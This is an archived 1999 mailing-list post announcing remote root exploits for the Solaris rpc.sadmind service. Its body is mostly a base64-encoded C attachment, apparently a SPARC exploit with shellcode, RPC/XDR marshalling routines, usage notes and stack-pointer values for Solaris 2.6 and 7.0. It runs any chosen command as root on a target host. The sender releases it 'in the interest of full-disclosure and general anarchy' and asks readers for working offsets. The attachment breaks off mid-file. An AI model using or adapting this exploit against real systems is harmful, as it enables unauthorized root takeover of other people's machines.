sadmind exploits (remote sparc/x86)

From: Marcy Abene (geetwentythreeat_private)
Date: Fri Dec 10 1999 - 14:16:23 PST

  • Next message: Marcy Abene: "scanner for rpc.sadmind"

    --0-1957747793-944864183=:20191
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: inline
    
    Hi,
    
    In the interest of full-disclosure and general anarchy
    amongst the sun community, here are the remote
    exploits for Solaris rpc.sadmind. (attached)
    
    Goodness.  ttdb, cmsd, statd, mountd, pcnfsd,
    nlockmgr, nisd, where does the Solaris rpc madness
    end?
    
    *Please* send me offsets that work for you, thanks!
    
    Jennifer
    __________________________________________________
    Do You Yahoo!?
    Thousands of Stores.  Millions of Products.  All in one place.
    Yahoo! Shopping: http://shopping.yahoo.com
    --0-1957747793-944864183=:20191
    Content-Type: application/x-unknown-content-type-txtfile; name="sadmindex-sparc-2.c"
    Content-Transfer-Encoding: base64
    Content-Description: sadmindex-sparc-2.c
    Content-Disposition: attachment; filename="sadmindex-sparc-2.c"
    
    LyoqDQoqKiogIHNhZG1pbmRleCAtIFNQQVJDIFNvbGFyaXMgcmVtb3RlIHJv
    b3QgZXhwbG9pdCBmb3IgL3Vzci9zYmluL3NhZG1pbmQNCioqKg0KKioqICBU
    ZXN0ZWQgYW5kIGNvbmZpcm1lZCB1bmRlciBTb2xhcmlzIDIuNiBhbmQgNy4w
    IChTUEFSQykNCioqKg0KKioqICBVc2FnZTogICUgc2FkbWluZGV4IC1oIGhv
    c3RuYW1lIC1jIGNvbW1hbmQgLXMgc3AgWy1vIG9mZnNldF0gXA0KKioqICAg
    ICAgICAgICAgICAgICAgICAgIFstYSBhbGlnbm1lbnRdIFstcF0NCioqKg0K
    KioqICB3aGVyZSBob3N0bmFtZSBpcyB0aGUgaG9zdG5hbWUgb2YgdGhlIG1h
    Y2hpbmUgcnVubmluZyB0aGUgdnVsbmVyYWJsZQ0KKioqICBzeXN0ZW0gYWRt
    aW5pc3RyYXRpb24gZGFlbW9uLCBjb21tYW5kIGlzIHRoZSBjb21tYW5kIHRv
    IHJ1biBhcyByb290DQoqKiogIG9uIHRoZSB2dWxuZXJhYmxlIG1hY2hpbmUs
    IHNwIGlzIHRoZSAlc3Agc3RhY2sgcG9pbnRlciB2YWx1ZSwgb2Zmc2V0DQoq
    KiogIGlzIHRoZSBudW1iZXIgb2YgYnl0ZXMgdG8gYWRkIHRvIHNwIHRvIGNh
    bGN1bGF0ZSB0aGUgZGVzaXJlZCByZXR1cm4NCioqKiAgYWRkcmVzcywgYW5k
    IGFsaWdubWVudCBpcyB0aGUgbnVtYmVyIG9mIGJ5dGVzIG5lZWRlZCB0byBj
    b3JyZWN0bHkNCioqKiAgYWxpZ24gdGhlIGNvbnRlbnRzIG9mIHRoZSBleHBs
    b2l0IGJ1ZmZlci4NCioqKg0KKioqICBJZiBydW4gd2l0aCBhIC1wIG9wdGlv
    biwgdGhlIGV4cGxvaXQgd2lsbCBvbmx5ICJwaW5nIiBzYWRtaW5kIG9uIHRo
    ZQ0KKioqICByZW1vdGUgbWFjaGluZSB0byBzdGFydCBpdCBydW5uaW5nLiAg
    VGhlIGRhZW1vbiB3aWxsIGJlIG90aGVyd2lzZQ0KKioqICB1bnRvdWNoZWQu
    ICBTaW5jZSBwaW5naW5nIHRoZSBkYWVtb24gZG9lcyBub3QgcmVxdWlyZSBh
    biBleHBsb2l0DQoqKiogIGJ1ZmZlciB0byBiZSBjb25zdHJ1Y3RlZCwgeW91
    IGNhbiBzYWZlbHkgb21pdCB0aGUgLWMgYW5kIC1zIG9wdGlvbnMNCioqKiAg
    aWYgeW91IHVzZSAtcC4NCioqKg0KKioqICBXaGVuIHNwZWNpZnlpbmcgYSBj
    b21tYW5kLCBiZSBzdXJlIHRvIHBhc3MgaXQgdG8gdGhlIGV4cGxvaXQgYXMg
    YQ0KKioqICBzaW5nbGUgYXJndW1lbnQsIG5hbWVseSBlbmNsb3NlIHRoZSBj
    b21tYW5kIHN0cmluZyBpbiBxdW90ZXMgaWYgaXQNCioqKiAgY29udGFpbnMg
    c3BhY2VzIG9yIG90aGVyIHNwZWNpYWwgc2hlbGwgZGVsaW1pdGVyIGNoYXJh
    Y3RlcnMuICBUaGUNCioqKiAgZXhwbG9pdCB3aWxsIHBhc3MgdGhpcyBzdHJp
    bmcgd2l0aG91dCBtb2RpZmljYXRpb24gdG8gL2Jpbi9zaCAtYyBvbg0KKioq
    ICB0aGUgcmVtb3RlIG1hY2hpbmUsIHNvIGFueSBub3JtYWxseSBhbGxvd2Vk
    IEJvdXJuZSBzaGVsbCBzeW50YXggaXMNCioqKiAgYWxzbyBhbGxvd2VkIGlu
    IHRoZSBjb21tYW5kIHN0cmluZy4gIFRoZSBjb21tYW5kIHN0cmluZyBhbmQg
    dGhlDQoqKiogIGFzc2VtYmx5IGNvZGUgdG8gcnVuIGl0IG11c3QgZml0IGlu
    c2lkZSBhIGJ1ZmZlciBvZiA1MTIgYnl0ZXMsIHNvDQoqKiogIHRoZSBjb21t
    YW5kIHN0cmluZyBoYXMgYSBtYXhpbXVtIGxlbmd0aCBvZiBhYm91dCAzODAg
    Ynl0ZXMgb3Igc28uDQoqKioNCioqKiAgRHVlIHRvIHRoZSBuYXR1cmUgb2Yg
    dGhlIHRhcmdldCBvdmVyZmxvdyBpbiBzYWRtaW5kLCB0aGUgZXhwbG9pdCBp
    cw0KKioqICBleHRyZW1lbHkgc2Vuc2l0aXZlIHRvIHRoZSAlc3Agc3RhY2sg
    cG9pbnRlciB2YWx1ZSB0aGF0IGlzIHByb3ZpZGVkDQoqKiogIHdoZW4gdGhl
    IGV4cGxvaXQgaXMgcnVuLiAgVGhlICVzcCBzdGFjayBwb2ludGVyIG11c3Qg
    YmUgc3BlY2lmaWVkDQoqKiogIHdpdGggdGhlIGV4YWN0IHJlcXVpcmVkIHZh
    bHVlLCBsZWF2aW5nIG5vIHJvb20gZm9yIGVycm9yLiAgSSBoYXZlDQoqKiog
    IHByb3ZpZGVkIGNvbmZpcm1lZCB2YWx1ZXMgZm9yIFNvbGFyaXMgcnVubmlu
    ZyBvbiBhIFN1biBTUEFSQ2VuZ2luZQ0KKioqICBVbHRyYSBBWGkgbWFjaGlu
    ZSBydW5uaW5nIFNvbGFyaXMgMi42IDUvOTggYW5kIG9uIGEgU1BBUkNzdGF0
    aW9uIDENCioqKiAgcnVubmluZyBTb2xhcmlzIDcuMCAxMC85OC4gIE9uIGVh
    Y2ggc3lzdGVtLCBzYWRtaW5kIHdhcyBzdGFydGVkIGZyb20NCioqKiAgYW4g
    aW5zdGFuY2Ugb2YgaW5ldGQgdGhhdCB3YXMgc3RhcnRlZCBhdCBib290IHRp
    bWUgYnkgaW5pdC4gIFRoZXJlDQoqKiogIGlzIGEgc3Ryb25nIHBvc3NpYmls
    aXR5IHRoYXQgdGhlIGRlbW9uc3RyYXRpb24gdmFsdWVzIHdpbGwgbm90IHdv
    cmsNCioqKiAgZHVlIHRvIGRpZmZlcmluZyBzZXRzIG9mIGVudmlyb25tZW50
    IHZhcmlhYmxlcywgZm9yIGV4YW1wbGUgaWYgdGhlDQoqKiogIHRoZSBydW5u
    aW5nIGluZXRkIG9uIHRoZSByZW1vdGUgbWFjaGluZSB3YXMgc3RhcnRlZCBt
    YW51YWxseSBmcm9tIGFuDQoqKiogIGludGVyYWN0aXZlIHNoZWxsLiAgSWYg
    eW91IGZpbmQgdGhhdCB0aGUgc2FtcGxlIHZhbHVlIGZvciAlc3AgZG9lcw0K
    KioqICBub3Qgd29yaywgdHJ5IGFkanVzdGluZyB0aGUgdmFsdWUgYnkgLTIw
    NDggdG8gMjA0OCBmcm9tIHRoZSBzYW1wbGUgaW4NCioqKiAgaW5jcmVtZW50
    cyBvZiA4IGZvciBzdGFydGVycy4gIFRoZSBvZmZzZXQgcGFyYW1ldGVyIGFu
    ZCB0aGUgYWxpZ25tZW50DQoqKiogIHBhcmFtZXRlciBoYXZlIGRlZmF1bHQg
    dmFsdWVzIHRoYXQgd2lsbCBiZSB1c2VkIGlmIG5vIG92ZXJyaWRpbmcNCioq
    KiAgdmFsdWVzIGFyZSBzcGVjaWZpZWQgb24gdGhlIGNvbW1hbmQgbGluZS4g
    IFRoZSBkZWZhdWx0IHZhbHVlcyBzaG91bGQNCioqKiAgYmUgc3VpdGFibGUg
    YW5kIGl0IHdpbGwgbm90IGxpa2VseSBiZSBuZWNlc3NhcnkgdG8gb3ZlcnJp
    ZGUgdGhlbS4NCioqKg0KKioqICBEZW1vbnN0cmF0aW9uIHZhbHVlcyBmb3Ig
    U1BBUkMgU29sYXJpczoNCioqKg0KKioqICAoMi42KSAgc2FkbWluZGV4IC1o
    IGhvc3QuZXhhbXBsZS5jb20gLWMgInRvdWNoIEhFSCIgLXMgMHhlZmZmOTU4
    MA0KKioqICAoNy4wKSAgc2FkbWluZGV4IC1oIGhvc3QuZXhhbXBsZS5jb20g
    LWMgInRvdWNoIEhFSCIgLXMgMHhlZmZmOTQxOA0KKioqDQoqKiogIFRISVMg
    Q09ERSBGT1IgRURVQ0FUSU9OQUwgVVNFIE9OTFkgSU4gQU4gRVRISUNBTCBN
    QU5ORVINCioqKg0KKioqICBDaGVleiBXaGl6DQoqKiogIGNoZWV6YmVhc3RA
    aG90bWFpbC5jb20NCioqKg0KKioqICBKdW5lIDI0LCAxOTk5DQoqKi8NCg0K
    I2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5j
    bHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVk
    ZSA8cnBjL3JwYy5oPg0KDQojZGVmaW5lIE5FVE1HVF9QUk9HIDEwMDIzMg0K
    I2RlZmluZSBORVRNR1RfVkVSUyAxMA0KI2RlZmluZSBORVRNR1RfUFJPQ19Q
    SU5HIDANCiNkZWZpbmUgTkVUTUdUX1BST0NfU0VSVklDRSAxDQoNCiNkZWZp
    bmUgTkVUTUdUX1VEUF9QSU5HX1RJTUVPVVQgMzANCiNkZWZpbmUgTkVUTUdU
    X1VEUF9QSU5HX1JFVFJZX1RJTUVPVVQgNQ0KI2RlZmluZSBORVRNR1RfVURQ
    X1NFUlZJQ0VfVElNRU9VVCAxDQojZGVmaW5lIE5FVE1HVF9VRFBfU0VSVklD
    RV9SRVRSWV9USU1FT1VUIDINCg0KI2RlZmluZSBORVRNR1RfSEVBREVSX1RZ
    UEUgNg0KI2RlZmluZSBORVRNR1RfQVJHX0lOVCAzDQojZGVmaW5lIE5FVE1H
    VF9BUkdfU1RSSU5HIDkNCiNkZWZpbmUgTkVUTUdUX0VORE9GQVJHUyAibmV0
    bWd0X2VuZG9mYXJncyINCg0KI2RlZmluZSBBRE1fRldfVkVSU0lPTiAiQURN
    X0ZXX1ZFUlNJT04iDQojZGVmaW5lIEFETV9DTElFTlRfRE9NQUlOICJBRE1f
    Q0xJRU5UX0RPTUFJTiINCiNkZWZpbmUgQURNX0ZFTkNFICJBRE1fRkVOQ0Ui
    DQoNCiNkZWZpbmUgQlVGTEVOIDEwNzYJCS8qIDI1NisyNTYrMzIrMzIrNTEy
    LTEyICovDQojZGVmaW5lIEFERFJMRU4gNTYwCQkvKiAyNTYrMjU2KzMyKzMy
    LTQtMTIgKi8NCiNkZWZpbmUgRlJBTUVMRU4xIDYwOA0KI2RlZmluZSBGUkFN
    RUxFTjIgNDIwMA0KI2RlZmluZSBMRU4gODQNCg0KI2RlZmluZSBPRkZTRVQg
    Njg4CQkvKiBkZWZhdWx0IG9mZnNldCAqLw0KI2RlZmluZSBBTElHTk1FTlQg
    NAkJLyogZGVmYXVsdCBhbGlnbm1lbnQgKi8NCg0KI2RlZmluZSBOT1AgMHg4
    MDFiYzAwZgkJLyogeG9yICVvNywlbzcsJWcwICovDQoNCmNoYXIgc2hlbGxb
    XSA9DQovKiAgIDAgKi8gIlx4MjBceGJmXHhmZlx4ZmYiICAgICAgICAgICAg
    ICAgICAvKiBibixhID8gICAgICAgICAgKi8NCi8qIHNraXA6ICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAqLw0KLyogICA0ICovICJceDIwXHhiZlx4ZmZceGZmIiAgICAgICAgICAg
    ICAgICAgLyogYm4sYSA/ICAgICAgICAgICovDQovKiAgIDggKi8gIlx4N2Zc
    eGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBjYWxsIHNraXAgICAg
    ICAgKi8NCi8qIGV4ZWN2ZTogICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyogIDEyICovICJceDkw
    XHgwM1x4ZTBceDVjIiAgICAgICAgICAgICAgICAgLyogYWRkICVvNyw5Miwl
    bzAgICovDQovKiAgMTYgKi8gIlx4OTJceDIyXHgyMFx4MTAiICAgICAgICAg
    ICAgICAgICAvKiBzdWIgJW8wLDE2LCVvMSAgKi8NCi8qICAyMCAqLyAiXHg5
    NFx4MWJceGMwXHgwZiIgICAgICAgICAgICAgICAgIC8qIHhvciAlbzcsJW83
    LCVvMiAqLw0KLyogIDI0ICovICJceGVjXHgwMlx4M2ZceGYwIiAgICAgICAg
    ICAgICAgICAgLyogbGQgWyVvMC0xNl0sJWw2ICovDQovKiAgMjggKi8gIlx4
    YWNceDIyXHg4MFx4MTYiICAgICAgICAgICAgICAgICAvKiBzdWIgJW8yLCVs
    NiwlbDYgKi8NCi8qICAzMiAqLyAiXHhhZVx4MDJceDYwXHgxMCIgICAgICAg
    ICAgICAgICAgIC8qIGFkZCAlbzEsMTYsJWw3ICAqLw0KLyogIDM2ICovICJc
    eGVlXHgyMlx4M2ZceGYwIiAgICAgICAgICAgICAgICAgLyogc3QgJWw3LFsl
    bzAtMTZdICovDQovKiAgNDAgKi8gIlx4YWVceDA1XHhlMFx4MDgiICAgICAg
    ICAgICAgICAgICAvKiBhZGQgJWw3LDgsJWw3ICAgKi8NCi8qICA0NCAqLyAi
    XHhjMFx4MmRceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIHN0YiAlZzAs
    WyVsNy0xXSAqLw0KLyogIDQ4ICovICJceGVlXHgyMlx4M2ZceGY0IiAgICAg
    ICAgICAgICAgICAgLyogc3QgJWw3LFslbzAtMTJdICovDQovKiAgNTIgKi8g
    Ilx4YWVceDA1XHhlMFx4MDMiICAgICAgICAgICAgICAgICAvKiBhZGQgJWw3
    LDMsJWw3ICAgKi8NCi8qICA1NiAqLyAiXHhjMFx4MmRceGZmXHhmZiIgICAg
    ICAgICAgICAgICAgIC8qIHN0YiAlZzAsWyVsNy0xXSAqLw0KLyogIDYwICov
    ICJceGVlXHgyMlx4M2ZceGY4IiAgICAgICAgICAgICAgICAgLyogc3QgJWw3
    LFslbzAtOF0gICovDQovKiAgNjQgKi8gIlx4YWVceDA1XHhjMFx4MTYiICAg
    ICAgICAgICAgICAgICAvKiBhZGQgJWw3LCVsNiwlbDcgKi8NCi8qICA2OCAq
    LyAiXHhjMFx4MmRceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIHN0YiAl
    ZzAsWyVsNy0xXSAqLw0KLyogIDcyICovICJceGMwXHgyMlx4M2ZceGZjIiAg
    ICAgICAgICAgICAgICAgLyogc3QgJWcwLFslbzAtNF0gICovDQovKiAgNzYg
    Ki8gIlx4ODJceDEwXHgyMFx4M2IiICAgICAgICAgICAgICAgICAvKiBtb3Yg
    NTksJWcxICAgICAgKi8NCi8qICA4MCAqLyAiXHg5MVx4ZDBceDIwXHgwOCIg
    ICAgICAgICAgICAgICAgIC8qIHRhIDggICAgICAgICAgICAqLw0KLyogZGF0
    YTogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICovDQovKiAgODQgKi8gIlx4ZmZceGZmXHhmZlx4ZmYi
    ICAgICAgICAgICAgICAgICAvKiBEQVRBICAgICAgICAgICAgKi8NCi8qICA4
    OCAqLyAiXHhmZlx4ZmZceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIERB
    VEEgICAgICAgICAgICAqLw0KLyogIDkyICovICJceGZmXHhmZlx4ZmZceGZm
    IiAgICAgICAgICAgICAgICAgLyogREFUQSAgICAgICAgICAgICovDQovKiAg
    OTYgKi8gIlx4ZmZceGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBE
    QVRBICAgICAgICAgICAgKi8NCi8qIDEwMCAqLyAiXHgyZlx4NjJceDY5XHg2
    ZVx4MmZceDczXHg2OFx4ZmYiIC8qIERBVEEgICAgICAgICAgICAqLw0KLyog
    MTA4ICovICJceDJkXHg2M1x4ZmYiOyAgICAgICAgICAgICAgICAgICAgLyog
    REFUQSAgICAgICAgICAgICovDQoNCmV4dGVybiBjaGFyICpvcHRhcmc7DQoN
    CnN0cnVjdCBubV9zZW5kX2hlYWRlciB7DQogICAgc3RydWN0IHRpbWV2YWwg
    dGltZXZhbDE7DQogICAgc3RydWN0IHRpbWV2YWwgdGltZXZhbDI7DQogICAg
    c3RydWN0IHRpbWV2YWwgdGltZXZhbDM7DQogICAgdW5zaWduZWQgaW50IHVp
    bnQxOw0KICAgIHVuc2lnbmVkIGludCB1aW50MjsNCiAgICB1bnNpZ25lZCBp
    bnQgdWludDM7DQogICAgdW5zaWduZWQgaW50IHVpbnQ0Ow0KICAgIHVuc2ln
    bmVkIGludCB1aW50NTsNCiAgICBzdHJ1Y3QgaW5fYWRkciBpbmFkZHIxOw0K
    ICAgIHN0cnVjdCBpbl9hZGRyIGluYWRkcjI7DQogICAgdW5zaWduZWQgbG9u
    ZyB1bG9uZzE7DQogICAgdW5zaWduZWQgbG9uZyB1bG9uZzI7DQogICAgc3Ry
    dWN0IGluX2FkZHIgaW5hZGRyMzsNCiAgICB1bnNpZ25lZCBsb25nIHVsb25n
    MzsNCiAgICB1bnNpZ25lZCBsb25nIHVsb25nNDsNCiAgICB1bnNpZ25lZCBs
    b25nIHVsb25nNTsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0aW1ldmFsNDsNCiAg
    ICB1bnNpZ25lZCBpbnQgdWludDY7DQogICAgc3RydWN0IHRpbWV2YWwgdGlt
    ZXZhbDU7DQogICAgY2hhciAqc3RyaW5nMTsNCiAgICBjaGFyICpzdHJpbmcy
    Ow0KICAgIGNoYXIgKnN0cmluZzM7DQogICAgdW5zaWduZWQgaW50IHVpbnQ3
    Ow0KfTsNCg0Kc3RydWN0IG5tX3NlbmRfYXJnX2ludCB7DQogICAgY2hhciAq
    c3RyaW5nMTsNCiAgICB1bnNpZ25lZCBpbnQgdWludDE7DQogICAgdW5zaWdu
    ZWQgaW50IHVpbnQyOw0KICAgIGludCBpbnQxOw0KICAgIHVuc2lnbmVkIGlu
    dCB1aW50MzsNCiAgICB1bnNpZ25lZCBpbnQgdWludDQ7DQp9Ow0KDQpzdHJ1
    Y3Qgbm1fc2VuZF9hcmdfc3RyaW5nIHsNCiAgICBjaGFyICpzdHJpbmcxOw0K
    ICAgIHVuc2lnbmVkIGludCB1aW50MTsNCiAgICB1bnNpZ25lZCBpbnQgdWlu
    dDI7DQogICAgY2hhciAqc3RyaW5nMjsNCiAgICB1bnNpZ25lZCBpbnQgdWlu
    dDM7DQogICAgdW5zaWduZWQgaW50IHVpbnQ0Ow0KfTsNCg0Kc3RydWN0IG5t
    X3NlbmRfZm9vdGVyIHsNCiAgICBjaGFyICpzdHJpbmcxOw0KfTsNCg0Kc3Ry
    dWN0IG5tX3NlbmQgew0KICAgIHN0cnVjdCBubV9zZW5kX2hlYWRlciBoZWFk
    ZXI7DQogICAgc3RydWN0IG5tX3NlbmRfYXJnX2ludCB2ZXJzaW9uOw0KICAg
    IHN0cnVjdCBubV9zZW5kX2FyZ19zdHJpbmcgc3RyaW5nOw0KICAgIHN0cnVj
    dCBubV9zZW5kX2FyZ19pbnQgZmVuY2U7DQogICAgc3RydWN0IG5tX3NlbmRf
    Zm9vdGVyIGZvb3RlcjsNCn07DQoNCnN0cnVjdCBubV9yZXBseSB7DQogICAg
    dW5zaWduZWQgaW50IHVpbnQxOw0KICAgIHVuc2lnbmVkIGludCB1aW50MjsN
    CiAgICBjaGFyICpzdHJpbmcxOw0KfTsNCg0KYm9vbF90DQp4ZHJfbm1fc2Vu
    ZF9oZWFkZXIoWERSICp4ZHJzLCBzdHJ1Y3Qgbm1fc2VuZF9oZWFkZXIgKm9i
    anApDQp7DQogICAgY2hhciAqYWRkcjsNCiAgICBzaXplX3Qgc2l6ZSA9IHNp
    emVvZihzdHJ1Y3QgaW5fYWRkcik7DQoNCiAgICBpZiAoIXhkcl9sb25nKHhk
    cnMsICZvYmpwLT50aW1ldmFsMS50dl9zZWMpKQ0KCXJldHVybiAoRkFMU0Up
    Ow0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2YWwxLnR2
    X3VzZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmco
    eGRycywgJm9ianAtPnRpbWV2YWwyLnR2X3NlYykpDQoJcmV0dXJuIChGQUxT
    RSk7DQogICAgaWYgKCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDIu
    dHZfdXNlYykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfbG9u
    Zyh4ZHJzLCAmb2JqcC0+dGltZXZhbDMudHZfc2VjKSkNCglyZXR1cm4gKEZB
    TFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFs
    My50dl91c2VjKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91
    X2ludCh4ZHJzLCAmb2JqcC0+dWludDEpKQ0KCXJldHVybiAoRkFMU0UpOw0K
    ICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50MikpDQoJcmV0
    dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAt
    PnVpbnQzKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2lu
    dCh4ZHJzLCAmb2JqcC0+dWludDQpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAg
    IGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50NSkpDQoJcmV0dXJu
    IChGQUxTRSk7DQogICAgYWRkciA9IChjaGFyICopICZvYmpwLT5pbmFkZHIx
    LnNfYWRkcjsNCiAgICBpZiAoIXhkcl9ieXRlcyh4ZHJzLCAmYWRkciwgJnNp
    emUsIHNpemUpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGFkZHIgPSAoY2hh
    ciAqKSAmb2JqcC0+aW5hZGRyMi5zX2FkZHI7DQogICAgaWYgKCF4ZHJfYnl0
    ZXMoeGRycywgJmFkZHIsICZzaXplLCBzaXplKSkNCglyZXR1cm4gKEZBTFNF
    KTsNCiAgICBpZiAoIXhkcl91X2xvbmcoeGRycywgJm9ianAtPnVsb25nMSkp
    DQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9sb25nKHhkcnMs
    ICZvYmpwLT51bG9uZzIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGFkZHIg
    PSAoY2hhciAqKSAmb2JqcC0+aW5hZGRyMy5zX2FkZHI7DQogICAgaWYgKCF4
    ZHJfYnl0ZXMoeGRycywgJmFkZHIsICZzaXplLCBzaXplKSkNCglyZXR1cm4g
    KEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2xvbmcoeGRycywgJm9ianAtPnVs
    b25nMykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9sb25n
    KHhkcnMsICZvYmpwLT51bG9uZzQpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAg
    IGlmICgheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+dWxvbmc1KSkNCglyZXR1
    cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50
    aW1ldmFsNC50dl9zZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgh
    eGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2YWw0LnR2X3VzZWMpKQ0KCXJl
    dHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpw
    LT51aW50NikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfbG9u
    Zyh4ZHJzLCAmb2JqcC0+dGltZXZhbDUudHZfc2VjKSkNCglyZXR1cm4gKEZB
    TFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFs
    NS50dl91c2VjKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl93
    cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCglyZXR1cm4gKEZB
    TFNFKTsNCiAgICBpZiAoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5z
    dHJpbmcyKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl93cmFw
    c3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmczKSkNCglyZXR1cm4gKEZBTFNF
    KTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDcpKQ0K
    CXJldHVybiAoRkFMU0UpOw0KICAgIHJldHVybiAoVFJVRSk7DQp9DQoNCmJv
    b2xfdA0KeGRyX25tX3NlbmRfYXJnX2ludChYRFIgKnhkcnMsIHN0cnVjdCBu
    bV9zZW5kX2FyZ19pbnQgKm9ianApDQp7DQogICAgaWYgKCF4ZHJfd3JhcHN0
    cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMSkpDQoJcmV0dXJuIChGQUxTRSk7
    DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQxKSkNCgly
    ZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2Jq
    cC0+dWludDIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX2lu
    dCh4ZHJzLCAmb2JqcC0+aW50MSkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAg
    aWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQzKSkNCglyZXR1cm4g
    KEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWlu
    dDQpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIHJldHVybiAoVFJVRSk7DQp9
    DQoNCmJvb2xfdA0KeGRyX25tX3NlbmRfYXJnX3N0cmluZyhYRFIgKnhkcnMs
    IHN0cnVjdCBubV9zZW5kX2FyZ19zdHJpbmcgKm9ianApDQp7DQogICAgaWYg
    KCF4ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMSkpDQoJcmV0
    dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAt
    PnVpbnQxKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2lu
    dCh4ZHJzLCAmb2JqcC0+dWludDIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAg
    IGlmICgheGRyX3dyYXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzIpKQ0K
    CXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZv
    YmpwLT51aW50MykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJf
    dV9pbnQoeGRycywgJm9ianAtPnVpbnQ0KSkNCglyZXR1cm4gKEZBTFNFKTsN
    CiAgICByZXR1cm4gKFRSVUUpOw0KfQ0KDQpib29sX3QNCnhkcl9ubV9zZW5k
    X2Zvb3RlcihYRFIgKnhkcnMsIHN0cnVjdCBubV9zZW5kX2Zvb3RlciAqb2Jq
    cCkNCnsNCiAgICBpZiAoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5z
    dHJpbmcxKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICByZXR1cm4gKFRSVUUp
    Ow0KfQ0KDQpib29sX3QNCnhkcl9ubV9zZW5kKFhEUiAqeGRycywgc3RydWN0
    IG5tX3NlbmQgKm9ianApDQp7DQogICAgaWYgKCF4ZHJfbm1fc2VuZF9oZWFk
    ZXIoeGRycywgJm9ianAtPmhlYWRlcikpDQoJcmV0dXJuIChGQUxTRSk7DQog
    ICAgaWYgKCF4ZHJfbm1fc2VuZF9hcmdfaW50KHhkcnMsICZvYmpwLT52ZXJz
    aW9uKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9ubV9zZW5k
    X2FyZ19zdHJpbmcoeGRycywgJm9ianAtPnN0cmluZykpDQoJcmV0dXJuIChG
    QUxTRSk7DQogICAgaWYgKCF4ZHJfbm1fc2VuZF9hcmdfaW50KHhkcnMsICZv
    YmpwLT5mZW5jZSkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJf
    bm1fc2VuZF9mb290ZXIoeGRycywgJm9ianAtPmZvb3RlcikpDQoJcmV0dXJu
    IChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsNCn0NCg0KYm9vbF90DQp4
